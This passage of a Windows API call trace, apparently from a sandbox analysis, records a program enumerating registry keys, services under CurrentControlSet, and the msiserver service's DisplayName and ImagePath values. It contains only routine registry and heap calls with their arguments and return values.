3.0.0.0", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0175.961] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msdtc bridge 3.0.0.0", cchWideChar=20, lpMultiByteStr=0x21f1a90, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="msdtc bridge 3.0.0.0", lpUsedDefaultChar=0x0) returned 20 [0175.961] RegEnumKeyW (in: hKey=0x9c, dwIndex=0xc2, lpName=0x2152850, cchName=0x104 | out: lpName="MSDTC Bridge 4.0.0.0") returned 0x0 [0175.961] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msdtc bridge 4.0.0.0", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0175.962] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msdtc bridge 4.0.0.0", cchWideChar=20, lpMultiByteStr=0x21f1d18, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="msdtc bridge 4.0.0.0", lpUsedDefaultChar=0x0) returned 20 [0175.962] RegEnumKeyW (in: hKey=0x9c, dwIndex=0xc3, lpName=0x2152850, cchName=0x104 | out: lpName="Msfs") returned 0x0 [0175.962] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msfs", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0175.962] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msfs", cchWideChar=4, lpMultiByteStr=0x21f1a90, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="msfs", lpUsedDefaultChar=0x0) returned 4 [0175.962] RegEnumKeyW (in: hKey=0x9c, dwIndex=0xc4, lpName=0x2152850, cchName=0x104 | out: lpName="mshidkmdf") returned 0x0 [0175.962] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mshidkmdf", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0175.962] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mshidkmdf", cchWideChar=9, lpMultiByteStr=0x21f1d18, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mshidkmdf", lpUsedDefaultChar=0x0) returned 9 [0175.962] RegEnumKeyW (in: hKey=0x9c, dwIndex=0xc5, lpName=0x2152850, cchName=0x104 | out: lpName="msisadrv") returned 0x0 [0175.962] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msisadrv", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0175.962] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msisadrv", cchWideChar=8, lpMultiByteStr=0x21f1a90, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="msisadrv", lpUsedDefaultChar=0x0) returned 8 [0175.962] RegEnumKeyW (in: hKey=0x9c, dwIndex=0xc6, lpName=0x2152850, cchName=0x104 | out: lpName="MSiSCSI") returned 0x0 [0175.962] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msiscsi", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0175.962] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msiscsi", cchWideChar=7, lpMultiByteStr=0x21f1d18, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="msiscsi", lpUsedDefaultChar=0x0) returned 7 [0175.962] RegEnumKeyW (in: hKey=0x9c, dwIndex=0xc7, lpName=0x2152850, cchName=0x104 | out: lpName="msiserver") returned 0x0 [0175.962] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msiserver", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0175.962] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msiserver", cchWideChar=9, lpMultiByteStr=0x21f1a90, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="msiserver", lpUsedDefaultChar=0x0) returned 9 [0175.962] RegOpenKeyExW (in: hKey=0x9c, lpSubKey="msiserver", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x140) returned 0x0 [0175.962] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x2152850) returned 1 [0175.962] RegCloseKey (hKey=0x9c) returned 0x0 [0175.962] SHRegDuplicateHKey (hkey=0x80000002) returned 0x80000002 [0175.963] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="BCD00000000") returned 0x0 [0175.963] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bcd00000000", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0175.963] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bcd00000000", cchWideChar=11, lpMultiByteStr=0x21f1d18, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bcd00000000", lpUsedDefaultChar=0x0) returned 11 [0175.963] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="HARDWARE") returned 0x0 [0175.963] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0175.963] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware", cchWideChar=8, lpMultiByteStr=0x21f1a90, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hardware", lpUsedDefaultChar=0x0) returned 8 [0175.963] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="SAM") returned 0x0 [0175.963] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sam", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0175.963] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sam", cchWideChar=3, lpMultiByteStr=0x21f1d18, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sam", lpUsedDefaultChar=0x0) returned 3 [0175.963] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="SECURITY") returned 0x0 [0175.963] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="security", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0175.963] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="security", cchWideChar=8, lpMultiByteStr=0x21f1a90, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="security", lpUsedDefaultChar=0x0) returned 8 [0175.963] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="SOFTWARE") returned 0x0 [0175.963] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0175.963] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x21f1d18, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="software", lpUsedDefaultChar=0x0) returned 8 [0175.963] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="SYSTEM") returned 0x0 [0175.963] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="system", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0175.963] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="system", cchWideChar=6, lpMultiByteStr=0x21f1a90, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="system", lpUsedDefaultChar=0x0) returned 6 [0175.963] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SYSTEM", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x148) returned 0x0 [0175.964] RegCloseKey (hKey=0x80000002) returned 0x0 [0175.964] RegEnumKeyW (in: hKey=0x148, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet001") returned 0x0 [0175.964] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset001", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0175.964] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset001", cchWideChar=13, lpMultiByteStr=0x21f1d18, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="controlset001", lpUsedDefaultChar=0x0) returned 13 [0175.964] RegEnumKeyW (in: hKey=0x148, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet002") returned 0x0 [0175.964] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset002", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0175.964] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset002", cchWideChar=13, lpMultiByteStr=0x21f1a90, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="controlset002", lpUsedDefaultChar=0x0) returned 13 [0175.964] RegEnumKeyW (in: hKey=0x148, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="MountedDevices") returned 0x0 [0175.964] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mounteddevices", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0175.964] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mounteddevices", cchWideChar=14, lpMultiByteStr=0x21f1d18, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mounteddevices", lpUsedDefaultChar=0x0) returned 14 [0175.964] RegEnumKeyW (in: hKey=0x148, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="RNG") returned 0x0 [0175.964] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="rng", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0175.964] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="rng", cchWideChar=3, lpMultiByteStr=0x21f1a90, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rng", lpUsedDefaultChar=0x0) returned 3 [0175.964] RegEnumKeyW (in: hKey=0x148, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="Select") returned 0x0 [0175.964] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="select", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0175.964] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="select", cchWideChar=6, lpMultiByteStr=0x21f1d18, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="select", lpUsedDefaultChar=0x0) returned 6 [0175.964] RegEnumKeyW (in: hKey=0x148, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="Setup") returned 0x0 [0175.964] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="setup", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0175.964] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="setup", cchWideChar=5, lpMultiByteStr=0x21f1a90, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="setup", lpUsedDefaultChar=0x0) returned 5 [0175.964] RegEnumKeyW (in: hKey=0x148, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName="Software") returned 0x0 [0175.965] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0175.965] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x21f1d18, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="software", lpUsedDefaultChar=0x0) returned 8 [0175.965] RegEnumKeyW (in: hKey=0x148, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="WPA") returned 0x0 [0175.965] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wpa", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0175.965] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wpa", cchWideChar=3, lpMultiByteStr=0x21f1a90, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wpa", lpUsedDefaultChar=0x0) returned 3 [0175.965] RegEnumKeyW (in: hKey=0x148, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="CurrentControlSet") returned 0x0 [0175.965] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="currentcontrolset", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0175.965] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="currentcontrolset", cchWideChar=17, lpMultiByteStr=0x21f1d18, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="currentcontrolset", lpUsedDefaultChar=0x0) returned 17 [0175.965] RegOpenKeyExW (in: hKey=0x148, lpSubKey="CurrentControlSet", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x9c) returned 0x0 [0175.965] RegCloseKey (hKey=0x148) returned 0x0 [0175.965] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="Control") returned 0x0 [0175.965] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="control", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0175.965] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="control", cchWideChar=7, lpMultiByteStr=0x21f1a90, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="control", lpUsedDefaultChar=0x0) returned 7 [0175.965] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="Enum") returned 0x0 [0175.965] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="enum", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0175.965] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="enum", cchWideChar=4, lpMultiByteStr=0x21f1d18, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="enum", lpUsedDefaultChar=0x0) returned 4 [0175.965] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="Hardware Profiles") returned 0x0 [0175.965] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware profiles", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0175.965] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware profiles", cchWideChar=17, lpMultiByteStr=0x21f1a90, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hardware profiles", lpUsedDefaultChar=0x0) returned 17 [0175.966] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="Policies") returned 0x0 [0175.966] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="policies", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0175.966] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="policies", cchWideChar=8, lpMultiByteStr=0x21f1d18, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="policies", lpUsedDefaultChar=0x0) returned 8 [0175.966] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="services") returned 0x0 [0175.966] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="services", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0175.966] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="services", cchWideChar=8, lpMultiByteStr=0x21f1a90, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="services", lpUsedDefaultChar=0x0) returned 8 [0175.966] RegOpenKeyExW (in: hKey=0x9c, lpSubKey="services", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x148) returned 0x0 [0175.966] RegCloseKey (hKey=0x9c) returned 0x0 [0175.966] RegEnumKeyW (in: hKey=0x148, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Data") returned 0x0 [0175.966] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr data", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0175.966] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr data", cchWideChar=13, lpMultiByteStr=0x21f1d18, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr data", lpUsedDefaultChar=0x0) returned 13 [0175.966] RegEnumKeyW (in: hKey=0x148, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking") returned 0x0 [0175.966] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0175.966] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking", cchWideChar=19, lpMultiByteStr=0x21f1a90, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr networking", lpUsedDefaultChar=0x0) returned 19 [0175.966] RegEnumKeyW (in: hKey=0x148, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking 4.0.0.0") returned 0x0 [0175.966] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking 4.0.0.0", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0175.966] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking 4.0.0.0", cchWideChar=27, lpMultiByteStr=0x21f1d18, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr networking 4.0.0.0", lpUsedDefaultChar=0x0) returned 27 [0175.966] RegEnumKeyW (in: hKey=0x148, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for Oracle") returned 0x0 [0175.966] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for oracle", cchWideChar=29, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 29 [0175.966] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for oracle", cchWideChar=29, lpMultiByteStr=0x21f1a90, cbMultiByte=29, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net data provider for oracle", lpUsedDefaultChar=0x0) returned 29 [0175.967] RegEnumKeyW (in: hKey=0x148, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for SqlServer") returned 0x0 [0175.967] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for sqlserver", cchWideChar=32, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 32 [0175.967] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for sqlserver", cchWideChar=32, lpMultiByteStr=0x21f1d18, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net data provider for sqlserver", lpUsedDefaultChar=0x0) returned 32 [0175.967] RegEnumKeyW (in: hKey=0x148, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Memory Cache 4.0") returned 0x0 [0175.967] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net memory cache 4.0", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0175.967] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net memory cache 4.0", cchWideChar=21, lpMultiByteStr=0x21f1a90, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net memory cache 4.0", lpUsedDefaultChar=0x0) returned 21 [0175.967] RegEnumKeyW (in: hKey=0x148, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName=".NETFramework") returned 0x0 [0175.967] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".netframework", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0175.967] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".netframework", cchWideChar=13, lpMultiByteStr=0x21f1d18, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".netframework", lpUsedDefaultChar=0x0) returned 13 [0175.967] RegEnumKeyW (in: hKey=0x148, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="1394ohci") returned 0x0 [0175.967] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="1394ohci", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0175.967] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="1394ohci", cchWideChar=8, lpMultiByteStr=0x21f1a90, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="1394ohci", lpUsedDefaultChar=0x0) returned 8 [0175.967] RegEnumKeyW (in: hKey=0x148, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="ACPI") returned 0x0 [0175.967] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpi", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0175.967] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpi", cchWideChar=4, lpMultiByteStr=0x21f1d18, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="acpi", lpUsedDefaultChar=0x0) returned 4 [0175.968] RegEnumValueA (in: hKey=0x140, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0175.968] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x10) returned 0x252d660 [0175.968] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d3a8 [0175.968] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0175.968] RegEnumValueA (in: hKey=0x140, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0175.968] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d3b8 [0175.968] 